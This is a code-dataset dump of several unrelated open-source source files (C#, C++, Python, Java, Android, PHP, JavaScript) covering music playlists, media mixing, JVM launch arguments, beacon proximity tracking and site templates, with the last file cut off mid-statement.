code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
4
991
language
stringclasses
9 values
license
stringclasses
15 values
size
int32
3
1.05M
using Hurricane.Music.Playlist; using Hurricane.Music.Track; namespace Hurricane.Music.Data { public class TrackPlaylistPair { public PlayableBase Track { get; set; } public IPlaylist Playlist { get; set; } public TrackPlaylistPair(PlayableBase track, IPlaylist playlist) { Track = track; Playlist = playlist; } } }
Alkalinee/Hurricane
Hurricane/Music/Data/TrackPlaylistPair.cs
C#
gpl-3.0
397
/* * Copyright (C) 2013 Mamadou DIOP * Copyright (C) 2013 Doubango Telecom <http://www.doubango.org> * License: GPLv3 * This file is part of the open source SIP TelePresence system <https://code.google.com/p/telepresence/> */ #include "opentelepresence/OTMixerMgr.h" #include "opentelepresence/OTMixerMgrAudio.h" #include "opentelepresence/OTMixerMgrVideo.h" #include "tsk_debug.h" #include <assert.h> OTMixerMgr::OTMixerMgr(OTMediaType_t eMediaType, OTObjectWrapper<OTBridgeInfo*> oBridgeInfo) :OTObject() { m_eMediaType = eMediaType; m_oBridgeInfo = oBridgeInfo; } OTMixerMgr::~OTMixerMgr() { // FIXME: loop and release()? m_OTCodecs.clear(); } /** Finds the best codec to use. /!\Function not thread safe @param listOfCodecsToSearchInto List of codecs combined using binary OR (|). @return The best codec if exist, otherwise NULL */ OTObjectWrapper<OTCodec*> OTMixerMgr::findBestCodec(OTCodec_Type_t eListOfCodecsToSearchInto) { std::map<OTCodec_Type_t, OTObjectWrapper<OTCodec*> >::iterator iter = m_OTCodecs.begin(); while(iter != m_OTCodecs.end()) { if(((*iter).first & eListOfCodecsToSearchInto) == (*iter).first) { return (*iter).second; } ++iter; } return NULL; } /** Removes a list of codecs /!\Function not thread safe @param listOfCodecsToSearchInto List of codecs combined using binary OR (|). @return True if removed, False otherwise */ bool OTMixerMgr::removeCodecs(OTCodec_Type_t eListOfCodecsToSearchInto) { bool bFound = false; std::map<OTCodec_Type_t, OTObjectWrapper<OTCodec*> >::iterator iter; again: iter = m_OTCodecs.begin(); while(iter != m_OTCodecs.end()) { if(((*iter).first & eListOfCodecsToSearchInto) == (*iter).first) { (*iter).second->releaseRef(); m_OTCodecs.erase(iter); bFound = true; goto again; } ++iter; } return bFound; } /** Adds a new codec to the list of supported codecs. /!\Function not thread safe @param oCodec The codec to add. Must not be NULL. @return True if codec successfully added, False otherwise */ bool OTMixerMgr::addCodec(OTObjectWrapper<OTCodec*> oCodec) { OT_ASSERT(*oCodec); std::map<OTCodec_Type_t, OTObjectWrapper<OTCodec*> >::iterator iter = m_OTCodecs.find(oCodec->getType()); if(iter != m_OTCodecs.end()) { OT_DEBUG_ERROR("Codec with type = %d already exist", oCodec->getType()); return false; } m_OTCodecs.insert(std::pair<OTCodec_Type_t, OTObjectWrapper<OTCodec*> >(oCodec->getType(), oCodec)); return true; } /** Executes action on all codecs. /!\Function not thread safe @return True if codec successfully added, False otherwise */ bool OTMixerMgr::executeActionOnCodecs(OTCodecAction_t eAction) { std::map<OTCodec_Type_t, OTObjectWrapper<OTCodec*> >::iterator iter = m_OTCodecs.begin(); while(iter != m_OTCodecs.end()) { (*iter).second->executeAction(eAction); ++iter; } return true; } OTObjectWrapper<OTMixerMgr*> OTMixerMgr::New(OTMediaType_t eMediaType, OTObjectWrapper<OTBridgeInfo*> oBridgeInfo) { OTObjectWrapper<OTMixerMgr*> pOTMixer; switch(eMediaType) { case OTMediaType_Audio: { pOTMixer = new OTMixerMgrAudio(oBridgeInfo); break; } case OTMediaType_Video: { pOTMixer = new OTMixerMgrVideo(oBridgeInfo); break; } } if(pOTMixer && !pOTMixer->isValid()) { OTObjectSafeRelease(pOTMixer); } return pOTMixer; }
Fossa/teleprescence
source/OTMixerMgr.cc
C++
gpl-3.0
3,445
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright (C) 2015-2017 Stephane Caron <stephane.caron@normalesup.org> # # This file is part of fip-walkgen # <https://github.com/stephane-caron/fip-walkgen>. # # fip-walkgen is free software: you can redistribute it and/or modify it under # the terms of the GNU General Public License as published by the Free Software # Foundation, either version 3 of the License, or (at your option) any later # version. # # fip-walkgen is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more # details. # # You should have received a copy of the GNU General Public License along with # fip-walkgen. If not, see <http://www.gnu.org/licenses/>. from cop_nmpc import COPPredictiveController from double_support import DoubleSupportController from fip_nmpc import FIPPredictiveController from regulation import FIPRegulator from wrench_nmpc import WrenchPredictiveController __all__ = [ 'COPPredictiveController', 'DoubleSupportController', 'FIPPredictiveController', 'FIPRegulator', 'WrenchPredictiveController', ]
stephane-caron/dynamic-walking
wpg/com_control/__init__.py
Python
gpl-3.0
1,231
package org.sapia.corus.client.services.deployer.dist; import static org.sapia.corus.client.services.deployer.dist.ConfigAssertions.attributeNotNullOrEmpty; import java.io.File; import java.io.Serializable; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.List; import java.util.Map; import org.apache.commons.lang.text.StrLookup; import org.apache.commons.lang.text.StrSubstitutor; import org.sapia.console.CmdLine; import org.sapia.corus.client.common.CompositeStrLookup; import org.sapia.corus.client.common.Env; import org.sapia.corus.client.common.EnvVariableStrLookup; import org.sapia.corus.client.common.FileUtil; import org.sapia.corus.client.common.FileUtil.FileInfo; import org.sapia.corus.client.common.PathFilter; import org.sapia.corus.client.common.PropertiesStrLookup; import org.sapia.corus.client.exceptions.misc.MissingDataException; import org.sapia.corus.interop.InteropCodec.InteropWireFormat; import org.sapia.corus.interop.api.Consts; import org.sapia.ubik.util.Strings; import org.sapia.util.xml.confix.ConfigurationException; /** * This helper class can be inherited from to implement {@link Starter}s that * launch Java processes. * * @author Yanick Duchesne */ public abstract class BaseJavaStarter implements Starter, Serializable { static final long serialVersionUID = 1L; protected String javaHome = System.getProperty("java.home"); protected String javaCmd = "java"; protected String vmType; protected String profile; protected String corusHome = System.getProperty("corus.home"); protected List<VmArg> vmArgs = new ArrayList<VmArg>(); protected List<Property> vmProps = new ArrayList<Property>(); protected List<Option> options = new ArrayList<Option>(); protected List<XOption> xoptions = new ArrayList<XOption>(); private List<Dependency> dependencies = new ArrayList<Dependency>(); private boolean interopEnabled = true; private boolean numaEnabled = true; private InteropWireFormat interopWireFormat = InteropWireFormat.PROTOBUF; /** * Sets the Corus home. * * @param home * the Corus home. */ public void setCorusHome(String home) { corusHome = home; } /** * @param numaEnabled if <code>ttue</code>, indicates that NUMA is enabled for process corresponding to this instance. */ public void setNumaEnabled(boolean numaEnabled) { this.numaEnabled = numaEnabled; } @Override public boolean isNumaEnabled() { return numaEnabled; } /** * @param interopEnabled if <code>true</code>, indicates that interop is enabled (<code>true</code> by default). */ public void setInteropEnabled(boolean interopEnabled) { this.interopEnabled = interopEnabled; } public boolean isInteropEnabled() { return interopEnabled; } /** * @param interopWireFormat the interop wire format type to use for the process. */ public void setInteropWireFormat(String interopWireFormat) { this.interopWireFormat = InteropWireFormat.forType(interopWireFormat); } public InteropWireFormat getInteropWireFormat() { return interopWireFormat; } /** * Sets this instance's profile. * * @param profile * a profile name. */ public void setProfile(String profile) { this.profile = profile; } /** * Returns this instance's profile. * * @return a profile name. */ public String getProfile() { return profile; } /** * Adds the given {@link VmArg} to this instance. * * @param arg * a {@link VmArg}. */ public void addArg(VmArg arg) { vmArgs.add(arg); } /** * Adds the given property to this instance. * * @param prop * a {@link Property} instance. */ public void addProperty(Property prop) { vmProps.add(prop); } /** * Adds the given VM option to this instance. * * @param opt * an {@link Option} instance. */ public void addOption(Option opt) { options.add(opt); } /** * Adds the given "X" option to this instance. * * @param opt * a {@link XOption} instance. */ public void addXoption(XOption opt) { xoptions.add(opt); } /** * Sets this instance's JDK home directory. * * @param home * the full path to a JDK installation directory */ public void setJavaHome(String home) { javaHome = home; } /** * Sets the name of the 'java' executable. * * @param cmdName * the name of the 'java' executable */ public void setJavaCmd(String cmdName) { javaCmd = cmdName; } public void setVmType(String aType) { vmType = aType; } /** * Adds a dependency to this instance. * * @param dep * a {@link Dependency} */ public void addDependency(Dependency dep) { if (dep.getProfile() == null) { dep.setProfile(profile); } dependencies.add(dep); } public Dependency createDependency() { Dependency dep = new Dependency(); dep.setProfile(profile); dependencies.add(dep); return dep; } public List<Dependency> getDependencies() { return new ArrayList<Dependency>(dependencies); } protected CmdLineBuildResult buildCommandLine(Env env) { Map<String, String> cmdLineVars = new HashMap<String, String>(); cmdLineVars.put("user.dir", env.getCommonDir()); cmdLineVars.put("java.home", javaHome); Property[] envProperties = env.getProperties(); CompositeStrLookup propContext = new CompositeStrLookup() .add(StrLookup.mapLookup(cmdLineVars)) .add(PropertiesStrLookup.getInstance(envProperties)) .add(PropertiesStrLookup.getSystemInstance()) .add(new EnvVariableStrLookup()); CmdLine cmd = new CmdLine(); File javaHomeDir = env.getFileSystem().getFile(javaHome); if (!javaHomeDir.exists()) { throw new MissingDataException("java.home not found"); } cmd.addArg(FileUtil.toPath(javaHomeDir.getAbsolutePath(), "bin", javaCmd)); if (vmType != null) { if (!vmType.startsWith("-")) { cmd.addArg("-" + vmType); } else { cmd.addArg(vmType); } } for (VmArg arg : vmArgs) { String value = render(propContext, arg.getValue()); if (!Strings.isBlank(value)) { VmArg copy = new VmArg(); copy.setValue(value); cmd.addElement(copy.convert()); } } for (XOption opt : xoptions) { String value = render(propContext, opt.getValue()); XOption copy = new XOption(); copy.setName(opt.getName()); copy.setValue(value); if (!Strings.isBlank(copy.getName())) { cmdLineVars.put(copy.getName(), value); } cmd.addElement(copy.convert()); } for (Option opt : options) { String value = render(propContext, opt.getValue()); Option copy = new Option(); copy.setName(opt.getName()); copy.setValue(value); if (!Strings.isBlank(copy.getName())) { cmdLineVars.put(copy.getName(), value); } cmd.addElement(copy.convert()); } for (Property prop : vmProps) { String value = render(propContext, prop.getValue()); Property copy = new Property(); copy.setName(prop.getName()); copy.setValue(value); cmdLineVars.put(copy.getName(), value); cmd.addElement(copy.convert()); } for (Property prop : envProperties) { if (propContext.lookup(prop.getName()) != null) { cmd.addElement(prop.convert()); } } // adding interop option Property interopWireFormatProp = new Property(Consts.CORUS_PROCESS_INTEROP_PROTOCOL, interopWireFormat.type()); cmd.addElement(interopWireFormatProp.convert()); CmdLineBuildResult ctx = new CmdLineBuildResult(); ctx.command = cmd; ctx.variables = propContext; return ctx; } protected String getOptionalCp(String libDirs, StrLookup envVars, Env env) { String processUserDir; if ((processUserDir = env.getCommonDir()) == null || !env.getFileSystem().getFile(env.getCommonDir()).exists()) { processUserDir = System.getProperty("user.dir"); } String[] baseDirs; if (libDirs == null) { return ""; } else { baseDirs = FileUtil.splitFilePaths(render(envVars, libDirs)); } StringBuffer buf = new StringBuffer(); for (int dirIndex = 0; dirIndex < baseDirs.length; dirIndex++) { String baseDir = baseDirs[dirIndex]; String currentDir; if (FileUtil.isAbsolute(baseDir)) { currentDir = baseDir; } else { currentDir = FileUtil.toPath(processUserDir, baseDir); } FileInfo fileInfo = FileUtil.getFileInfo(currentDir); PathFilter filter = env.createPathFilter(fileInfo.directory); if (fileInfo.isClasses) { if (buf.length() > 0) { buf.append(File.pathSeparator); } buf.append(fileInfo.directory); } else { if (fileInfo.fileName == null) { filter.setIncludes(new String[] { "**/*.jar", "**/*.zip" }); } else { filter.setIncludes(new String[] { fileInfo.fileName }); } if (buf.length() > 0) { buf.append(File.pathSeparator); } String[] jars = filter.filter(); Arrays.sort(jars); for (int i = 0; i < jars.length; i++) { buf.append(fileInfo.directory).append(File.separator).append(jars[i]); if (i < (jars.length - 1)) { buf.append(File.pathSeparator); } } } } return render(envVars, buf.toString()); } protected String render(StrLookup context, String value) { StrSubstitutor substitutor = new StrSubstitutor(context); return substitutor.replace(value); } protected String getCp(Env env, String basedir) { PathFilter filter = env.createPathFilter(basedir); filter.setIncludes(new String[] { "**/*.jar" }); String[] jars = filter.filter(); StringBuffer buf = new StringBuffer(); for (int i = 0; i < jars.length; i++) { buf.append(basedir).append(File.separator).append(jars[i]); if (i < (jars.length - 1)) { buf.append(File.pathSeparator); } } return buf.toString(); } protected void doValidate(String elementName) throws ConfigurationException { attributeNotNullOrEmpty(elementName, "corusHome", corusHome); attributeNotNullOrEmpty(elementName, "javaCmd", javaCmd); attributeNotNullOrEmpty(elementName, "javaHome", javaHome); attributeNotNullOrEmpty(elementName, "profile", profile); } static final class CmdLineBuildResult { CmdLine command; StrLookup variables; } }
sapia-oss/corus
modules/client/src/main/java/org/sapia/corus/client/services/deployer/dist/BaseJavaStarter.java
Java
gpl-3.0
10,837
package com.example.solomon; import android.annotation.SuppressLint; import android.graphics.Color; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.widget.TextView; import com.estimote.mustard.rx_goodness.rx_requirements_wizard.Requirement; import com.estimote.mustard.rx_goodness.rx_requirements_wizard.RequirementsWizardFactory; import com.estimote.proximity_sdk.api.EstimoteCloudCredentials; import com.estimote.proximity_sdk.api.ProximityObserver; import com.estimote.proximity_sdk.api.ProximityObserverBuilder; import com.estimote.proximity_sdk.api.ProximityZone; import com.estimote.proximity_sdk.api.ProximityZoneBuilder; import com.estimote.proximity_sdk.api.ProximityZoneContext; import com.example.solomon.networkPackets.UserData; import com.example.solomon.runnables.SendLocationDataRunnable; import android.support.design.widget.AppBarLayout; import android.support.design.widget.TabLayout; import android.support.v4.view.ViewPager; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.ArrayList; import java.util.Calendar; import java.util.Date; import java.util.List; import kotlin.Unit; import kotlin.jvm.functions.Function0; import kotlin.jvm.functions.Function1; public class MainActivity extends AppCompatActivity { //Beacon variables public Date currentTime; private ProximityObserver proximityObserver; public static TextView feedBackTextView; public int userId; public ObjectOutputStream objectOutputStream; public ObjectInputStream objectInputStream; //UI variables private TabLayout tabLayout; private ViewPager viewPager; private ViewPagerAdapter viewPagerAdapter; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); initUI(); //getUserData UserData userData = (UserData) getIntent().getSerializableExtra("UserData"); userId = userData.getUserId(); objectOutputStream = LoginActivity.objectOutputStream; objectInputStream = LoginActivity.objectInputStream; //initialized cloud credentials EstimoteCloudCredentials cloudCredentials = new EstimoteCloudCredentials("solomon-app-ge4", "97f78b20306bb6a15ed1ddcd24b9ca21"); //instantiated the proximity observer this.proximityObserver = new ProximityObserverBuilder(getApplicationContext(), cloudCredentials) .onError(new Function1<Throwable, Unit>() { @Override public Unit invoke(Throwable throwable) { Log.e("app", "proximity observer error: " + throwable); feedBackTextView.setText("proximity error"); return null; } }) .withBalancedPowerMode() .build(); //instantiated a proximity zone final ProximityZone zone1 = new ProximityZoneBuilder() .forTag("Room1") .inCustomRange(3.0) .onEnter(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Entered the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room1", true, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .onExit(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Left the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room1", false, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .build(); final ProximityZone zone2 = new ProximityZoneBuilder() .forTag("Room2") .inCustomRange(3.0) .onEnter(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Entered the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room2", true, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .onExit(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Left the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room2", false, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .build(); final ProximityZone zone3 = new ProximityZoneBuilder() .forTag("Room3") .inCustomRange(3.0) .onEnter(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Entered the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room3", true, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .onExit(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Left the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room3", false, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .build(); final ProximityZone zone4 = new ProximityZoneBuilder() .forTag("Room4") .inCustomRange(3.0) .onEnter(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Entered the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room4", true, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .onExit(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Left the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room4", false, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .build(); //set bluetooth functionality RequirementsWizardFactory .createEstimoteRequirementsWizard() .fulfillRequirements(this, // onRequirementsFulfilled new Function0<Unit>() { @Override public Unit invoke() { Log.d("app", "requirements fulfilled"); proximityObserver.startObserving(zone1); proximityObserver.startObserving(zone2); proximityObserver.startObserving(zone3); proximityObserver.startObserving(zone4); feedBackTextView.setText("requirements fulfiled"); return null; } }, // onRequirementsMissing new Function1<List<? extends Requirement>, Unit>() { @Override public Unit invoke(List<? extends Requirement> requirements) { Log.e("app", "requirements missing: " + requirements); feedBackTextView.setText("requirements missing"); return null; } }, // onError new Function1<Throwable, Unit>() { @Override public Unit invoke(Throwable throwable) { Log.e("app", "requirements error: " + throwable); feedBackTextView.setText("requirements error"); return null; } }); } @SuppressLint("ResourceAsColor") public void initUI() { //get UI references tabLayout = (TabLayout) findViewById(R.id.tabLayoutId); viewPager = (ViewPager) findViewById(R.id.viewPagerId); viewPagerAdapter = new ViewPagerAdapter(getSupportFragmentManager()); feedBackTextView = findViewById(R.id.feedBackTextView); //set tabbed layout StoreAdvertisementFragment storeAdvertisementFragment = new StoreAdvertisementFragment(); Bundle bundle1 = new Bundle(); ArrayList<String> storeAdvertisementsData = new ArrayList<>(); bundle1.putStringArrayList("storeAdvertisementsData", storeAdvertisementsData); storeAdvertisementFragment.setArguments(bundle1, "storeAdvertisementsData"); UserStatsFragment userStatsFragment = new UserStatsFragment(); Bundle bundle2 = new Bundle(); ArrayList<String> userStatsData = new ArrayList<>(); bundle2.putStringArrayList("userStatsData", userStatsData); userStatsFragment.setArguments(bundle2, "userStatsData"); SettingsFragment settingsFragment = new SettingsFragment(); Bundle bundle3 = new Bundle(); ArrayList<String> profileDataAndSettingsData = new ArrayList<>(); bundle3.putStringArrayList("profileDataAndSettingsData", profileDataAndSettingsData); settingsFragment.setArguments(bundle3, "profileDataAndSettingsData"); //add the fragment to the viewPagerAdapter int numberOfTabs = 3; viewPagerAdapter.addFragment(storeAdvertisementFragment, "storeAdvertisementsData"); viewPagerAdapter.addFragment(userStatsFragment, "userStatsData"); viewPagerAdapter.addFragment(settingsFragment, "profileDataAndSettingsData"); //set my ViewPagerAdapter to the ViewPager viewPager.setAdapter(viewPagerAdapter); //set the tabLayoutViewPager tabLayout.setupWithViewPager(viewPager); //set images instead of title text for each tab tabLayout.getTabAt(0).setIcon(R.drawable.store_ads_icon); tabLayout.getTabAt(1).setIcon(R.drawable.stats_icon); tabLayout.getTabAt(2).setIcon(R.drawable.settings_icon); } }
beia/beialand
projects/solomon/Android/Solomon/app/src/main/java/com/example/solomon/MainActivity.java
Java
gpl-3.0
13,065
/* ** Taiga ** Copyright (C) 2010-2014, Eren Okka ** ** This program is free software: you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation, either version 3 of the License, or ** (at your option) any later version. ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <curl/curlver.h> #include <jsoncpp/json/json.h> #include <pugixml/pugixml.hpp> #include <utf8proc/utf8proc.h> #include <zlib/zlib.h> #include "base/file.h" #include "base/gfx.h" #include "base/string.h" #include "taiga/orange.h" #include "taiga/resource.h" #include "taiga/stats.h" #include "taiga/taiga.h" #include "ui/dlg/dlg_about.h" namespace ui { enum ThirdPartyLibrary { kJsoncpp, kLibcurl, kPugixml, kUtf8proc, kZlib, }; static std::wstring GetLibraryVersion(ThirdPartyLibrary library) { switch (library) { case kJsoncpp: return StrToWstr(JSONCPP_VERSION_STRING); case kLibcurl: return StrToWstr(LIBCURL_VERSION); case kPugixml: { base::SemanticVersion version((PUGIXML_VERSION / 100), (PUGIXML_VERSION % 100) / 10, (PUGIXML_VERSION % 100) % 10); return version; } case kUtf8proc: return StrToWstr(utf8proc_version()); case kZlib: return StrToWstr(ZLIB_VERSION); break; } return std::wstring(); } //////////////////////////////////////////////////////////////////////////////// class AboutDialog DlgAbout; AboutDialog::AboutDialog() { RegisterDlgClass(L"TaigaAboutW"); } BOOL AboutDialog::OnDestroy() { taiga::orange.Stop(); return TRUE; } BOOL AboutDialog::OnInitDialog() { rich_edit_.Attach(GetDlgItem(IDC_RICHEDIT_ABOUT)); auto schemes = L"http:https:irc:"; rich_edit_.SendMessage(EM_AUTOURLDETECT, TRUE /*= AURL_ENABLEURL*/, reinterpret_cast<LPARAM>(schemes)); rich_edit_.SetEventMask(ENM_LINK); std::wstring text = L"{\\rtf1\\ansi\\deff0\\deflang1024" L"{\\fonttbl" L"{\\f0\\fnil\\fcharset0 Segoe UI;}" L"}" L"\\fs24\\b " TAIGA_APP_NAME L"\\b0 " + std::wstring(Taiga.version) + L"\\line\\fs18\\par " L"\\b Author:\\b0\\line " L"Eren 'erengy' Okka\\line\\par " L"\\b Contributors:\\b0\\line " L"saka, Diablofan, slevir, LordGravewish, cassist, rr-, sunjayc, LordHaruto, Keelhauled, thesethwalker, Soinou\\line\\par " L"\\b Third-party components:\\b0\\line " L"{\\field{\\*\\fldinst{HYPERLINK \"https://github.com/yusukekamiyamane/fugue-icons\"}}{\\fldrslt{Fugue Icons 3.4.5}}}, " L"{\\field{\\*\\fldinst{HYPERLINK \"https://github.com/open-source-parsers/jsoncpp\"}}{\\fldrslt{JsonCpp " + GetLibraryVersion(kJsoncpp) + L"}}}, " L"{\\field{\\*\\fldinst{HYPERLINK \"https://github.com/bagder/curl\"}}{\\fldrslt{libcurl " + GetLibraryVersion(kLibcurl) + L"}}}, " L"{\\field{\\*\\fldinst{HYPERLINK \"https://github.com/zeux/pugixml\"}}{\\fldrslt{pugixml " + GetLibraryVersion(kPugixml) + L"}}}, " L"{\\field{\\*\\fldinst{HYPERLINK \"https://github.com/JuliaLang/utf8proc\"}}{\\fldrslt{utf8proc " + GetLibraryVersion(kUtf8proc) + L"}}}, " L"{\\field{\\*\\fldinst{HYPERLINK \"https://github.com/madler/zlib\"}}{\\fldrslt{zlib " + GetLibraryVersion(kZlib) + L"}}}\\line\\par " L"\\b Links:\\b0\\line " L"\u2022 {\\field{\\*\\fldinst{HYPERLINK \"http://taiga.erengy.com\"}}{\\fldrslt{Home page}}}\\line " L"\u2022 {\\field{\\*\\fldinst{HYPERLINK \"https://github.com/erengy/taiga\"}}{\\fldrslt{GitHub repository}}}\\line " L"\u2022 {\\field{\\*\\fldinst{HYPERLINK \"https://hummingbird.me/groups/taiga\"}}{\\fldrslt{Hummingbird group}}}\\line " L"\u2022 {\\field{\\*\\fldinst{HYPERLINK \"http://myanimelist.net/clubs.php?cid=21400\"}}{\\fldrslt{MyAnimeList club}}}\\line " L"\u2022 {\\field{\\*\\fldinst{HYPERLINK \"https://twitter.com/taigaapp\"}}{\\fldrslt{Twitter account}}}\\line " L"\u2022 {\\field{\\*\\fldinst{HYPERLINK \"irc://irc.rizon.net/taiga\"}}{\\fldrslt{IRC channel}}}" L"}"; rich_edit_.SetTextEx(WstrToStr(text)); return TRUE; } BOOL AboutDialog::DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch (uMsg) { case WM_COMMAND: { // Icon click if (HIWORD(wParam) == STN_DBLCLK) { SetText(L"Orange"); Stats.tigers_harmed++; taiga::orange.Start(); return TRUE; } break; } case WM_NOTIFY: { switch (reinterpret_cast<LPNMHDR>(lParam)->code) { // Execute link case EN_LINK: { auto en_link = reinterpret_cast<ENLINK*>(lParam); if (en_link->msg == WM_LBUTTONUP) { ExecuteLink(rich_edit_.GetTextRange(&en_link->chrg)); return TRUE; } break; } } break; } } return DialogProcDefault(hwnd, uMsg, wParam, lParam); } void AboutDialog::OnPaint(HDC hdc, LPPAINTSTRUCT lpps) { win::Dc dc = hdc; win::Rect rect; win::Rect rect_edit; rich_edit_.GetWindowRect(GetWindowHandle(), &rect_edit); const int margin = rect_edit.top; const int sidebar_width = rect_edit.left - margin; // Paint background GetClientRect(&rect); rect.left = sidebar_width; dc.FillRect(rect, ::GetSysColor(COLOR_WINDOW)); // Paint application icon rect.Set(margin / 2, margin, sidebar_width - (margin / 2), rect.bottom); DrawIconResource(IDI_MAIN, dc.Get(), rect, true, false); win::Window label = GetDlgItem(IDC_STATIC_APP_ICON); label.SetPosition(nullptr, rect, SWP_NOACTIVATE | SWP_NOREDRAW | SWP_NOOWNERZORDER | SWP_NOZORDER); label.SetWindowHandle(nullptr); } } // namespace ui
halfa/taiga
src/ui/dlg/dlg_about.cpp
C++
gpl-3.0
6,076
<?php define("LOG_LEVEL", -1); /* quality assurance */ define("DEBUG_MSG", false); //define("REQUEST_URI", $_SERVER["REQUEST_URI"]); # root directory //define("REQUEST_URI", substr($_SERVER["REQUEST_URI"], LENGTH)); # replace LENGTH with (path-length) to avoid useless function call define("REQUEST_URI", ($_SERVER["SCRIPT_NAME"] == "/index.php") ? $_SERVER["REQUEST_URI"] : substr($_SERVER["REQUEST_URI"], strlen(dirname($_SERVER["SCRIPT_NAME"])))); # portable alternative. cost: 1 eval + 3 function call. //define("EPR", "/var/opt"); define("EPR", strtr(dirname(__FILE__), "\\", "/")); # portable alternative. define("FWK", EPR); # only if not in public folder require_once FWK."/classes/FrontController.php"; require_once FWK."/classes/CGI.php"; ?>
wilaheng/wila
index.php
PHP
gpl-3.0
755
namespace MQCloud.Transport.Implementation { internal class ThematicOperationResponse<T> : ThematicMessage<T> { public int CallbackId { get; set; } } }
mqcloud/csharp
Transport/TransportAPI/Implementation/ThematicOperationResponse.cs
C#
gpl-3.0
167
var inherit = function(){ $('*[inherit="source"]').change(function(){ $.get('/admin/libio/variety/hierarchy/' + $(this).val(), function(data){ $('*[inherit="target"]').each(function(key, input){ var id = $(input).prop('id'); var fieldName = id.substring(id.indexOf('_') + 1); $(input).val(data[fieldName]); if( $(input).prop('tagName') == 'SELECT' ) $(input).trigger('change'); }); }); }); }; $(document).ready(inherit); $(document).on('sonata-admin-setup-list-modal sonata-admin-append-form-element', inherit);
libre-informatique/SymfonyLibrinfoVarietiesBundle
src/Resources/public/js/inherit.js
JavaScript
gpl-3.0
651
using System.Collections; using System.Collections.Generic; using BaiRong.Core; using SiteServer.CMS.Core; using SiteServer.CMS.Model; namespace SiteServer.CMS.ImportExport { public class SiteTemplateManager { private readonly string _rootPath; private SiteTemplateManager(string rootPath) { _rootPath = rootPath; DirectoryUtils.CreateDirectoryIfNotExists(_rootPath); } public static SiteTemplateManager GetInstance(string rootPath) { return new SiteTemplateManager(rootPath); } public static SiteTemplateManager Instance => new SiteTemplateManager(PathUtility.GetSiteTemplatesPath(string.Empty)); public void DeleteSiteTemplate(string siteTemplateDir) { var directoryPath = PathUtils.Combine(_rootPath, siteTemplateDir); DirectoryUtils.DeleteDirectoryIfExists(directoryPath); var filePath = PathUtils.Combine(_rootPath, siteTemplateDir + ".zip"); FileUtils.DeleteFileIfExists(filePath); } public bool IsSiteTemplateDirectoryExists(string siteTemplateDir) { var siteTemplatePath = PathUtils.Combine(_rootPath, siteTemplateDir); return DirectoryUtils.IsDirectoryExists(siteTemplatePath); } public int GetSiteTemplateCount() { var directorys = DirectoryUtils.GetDirectoryPaths(_rootPath); return directorys.Length; } public List<string> GetDirectoryNameLowerList() { var directorys = DirectoryUtils.GetDirectoryNames(_rootPath); var list = new List<string>(); foreach (var directoryName in directorys) { list.Add(directoryName.ToLower().Trim()); } return list; } public SortedList GetSiteTemplateSortedList() { var sortedlist = new SortedList(); var directoryPaths = DirectoryUtils.GetDirectoryPaths(_rootPath); foreach (var siteTemplatePath in directoryPaths) { var metadataXmlFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileMetadata); if 